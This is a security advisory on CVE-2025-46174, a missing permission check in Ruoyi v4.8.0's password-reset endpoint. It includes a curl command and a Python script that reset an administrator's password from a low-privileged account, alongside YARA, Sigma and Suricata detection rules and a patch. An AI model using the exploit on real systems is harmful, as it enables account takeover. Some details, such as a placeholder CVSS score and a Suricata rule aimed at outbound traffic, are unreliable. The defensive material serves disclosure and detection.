CVE-2025-46174

Executive Summary

CVE-2025-46174 is an Incorrect Access Control vulnerability in Ruoyi v4.8.0, a popular open-source Java-based management system. The flaw resides in the resetPwd method of SysUserController.java, where the checkUserDataScope permission check is missing. This allows an authenticated low-privileged user (e.g., a regular operator) to reset the password of any other user, including administrators, without proper authorization. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as Medium severity due to the requirement of authentication and the limited impact on confidentiality and integrity. No public exploit code or patch is available, but the issue is confirmed in the source code.

Supply Chain & Package Security

This vulnerability is in a Java-based application (Ruoyi), not an NPM, PyPI, Go, or Ruby package. No supply chain implications are present.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker needs a valid low-privileged account.
• User Interaction (UI): None (N) – No user action is needed.
• Scope (S): Unchanged (U) – The exploit does not affect other components.
• Confidentiality (C): Low (L) – Limited information disclosure (password reset may reveal account access).
• Integrity (I): Low (L) – Limited ability to modify data (password reset).
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. Exploitation requires authentication but can lead to privilege escalation and account takeover.

Deep Dive & Mechanics

The vulnerability is in the resetPwd method of SysUserController.java. In Ruoyi, the checkUserDataScope method is used to verify that the requesting user has permission to modify data belonging to a specific user (based on data scope, e.g., department). In the resetPwd method, this check is missing, allowing any authenticated user to call the endpoint with a target user ID and new password, bypassing authorization.

Affected Code Path:

• Controller: SysUserController.java
• Method: resetPwd
• Missing call: checkUserDataScope(user.getUserId())

Exploitation Scenario:

1. Attacker logs in as a low-privileged user (e.g., operator).
2. Attacker sends a POST request to /system/user/resetPwd with parameters userId (target admin) and password (new password).
3. The server resets the admin's password without checking if the attacker has permission to modify that user.
4. Attacker logs in as admin with the new password.

Vulnerable vs. Patched Code

Vulnerable Code (Ruoyi v4.8.0):

@PostMapping("/resetPwd")
public AjaxResult resetPwd(SysUser user)
{
    userService.checkUserAllowed(user);
    userService.resetUserPwd(user.getUserName(), user.getPassword());
    return success();
}

Patched Code (Manual Fix):

@PostMapping("/resetPwd")
public AjaxResult resetPwd(SysUser user)
{
    userService.checkUserAllowed(user);
    checkUserDataScope(user.getUserId()); // Added permission check
    userService.resetUserPwd(user.getUserName(), user.getPassword());
    return success();
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Ruoyi v4.8.0 instance
• Valid low-privileged user credentials (e.g., operator/123456)

Exploit Steps:

1. Obtain session cookie after login.
2. Send a POST request to reset the admin password:

curl -X POST http://target/system/user/resetPwd \
  -H "Cookie: JSESSIONID=your_session_id" \
  -d "userId=1&password=NewAdminPass123!"

3. Login as admin with the new password.

Python Exploit Script:

import requests

target = "http://target"
session = requests.Session()
# Login as low-privileged user
login_data = {"username": "operator", "password": "123456"}
session.post(f"{target}/login", data=login_data)

# Reset admin password (userId=1)
reset_data = {"userId": "1", "password": "NewAdminPass123!"}
r = session.post(f"{target}/system/user/resetPwd", data=reset_data)
if r.json().get("code") == 200:
    print("Password reset successful!")

Blue Team (Defensive)

Detection:

• Monitor for unusual password reset requests from low-privileged accounts.
• Alert on POST /system/user/resetPwd requests where the userId parameter does not match the session user's scope.

Mitigation:

• Apply the code patch immediately.
• Restrict access to the resetPwd endpoint via network segmentation or WAF rules.
• Implement additional logging for all password reset attempts.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /system/user/resetPwd with userId and password parameters.
  • Unusual login patterns after password reset (e.g., admin login from new IP).
• Logs:
  • Application logs showing resetUserPwd calls without prior checkUserDataScope.
  • Audit logs with userId values outside the expected scope for the requesting user.
• File:
  • Modified SysUserController.java (if patched).

Detection Engineering

YARA Rule

rule CVE_2025_46174_Ruoyi_ResetPwd
{
    meta:
        description = "Detects missing checkUserDataScope in resetPwd method"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-46174"
    strings:
        $s1 = "resetPwd" nocase
        $s2 = "checkUserDataScope" nocase
        $s3 = "resetUserPwd" nocase
    condition:
        $s1 and $s3 and not $s2
}

Sigma Rule

title: CVE-2025-46174 - Ruoyi Incorrect Access Control in resetPwd
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects missing permission check in resetPwd endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: ruoyi
detection:
    selection:
        http.method: POST
        http.url: "/system/user/resetPwd"
        http.body: "userId="
    condition: selection
falsepositives:
    - Legitimate admin password resets
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-46174 - Ruoyi resetPwd without permission check";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/system/user/resetPwd"; http_uri;
    content:"userId="; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Patch: Add checkUserDataScope(user.getUserId()); before resetUserPwd in SysUserController.java.
2. Workaround: Restrict access to the /system/user/resetPwd endpoint via network ACLs or a reverse proxy.
3. Monitoring: Enable detailed audit logging for all password reset operations.
4. User Training: Educate administrators about the risk of sharing low-privileged accounts.
5. Upgrade: Monitor for official Ruoyi patches and upgrade when available.

Valters IT
Securing Digital Frontiers